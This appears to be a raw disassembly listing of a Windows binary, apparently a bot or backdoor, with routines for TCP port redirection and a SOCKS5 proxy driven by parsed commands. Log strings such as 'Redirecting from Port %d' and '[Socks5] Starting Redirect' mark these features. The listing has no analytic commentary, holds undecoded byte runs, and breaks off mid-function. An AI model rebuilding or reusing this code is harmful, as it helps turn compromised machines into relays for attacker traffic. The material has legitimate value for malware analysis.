; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		nop
		call	near ptr 2821DE2h


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; Ο
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ‘
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ρ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; θ
		db 0CEh	; Ξ
		db  54h	; T
		db 0FDh	; ύ
		db 0FFh
		db  68h	; h
		db  54h	; T
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Η
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Η
		db    6
		db 0C0h	; ΐ
		db 0F1h	; ρ
		db  43h	; C
		db    0
		db 0E8h	; θ
		db 0F4h	; τ
		db  4Ah	; J
		db 0FDh	; ύ
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Ζ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Δ
		db  10h
		db 0C3h	; Γ
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2821DE2h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 0E850FFFDh
		dd 777EED1Ch, 4C48390h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 7EECA3E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h
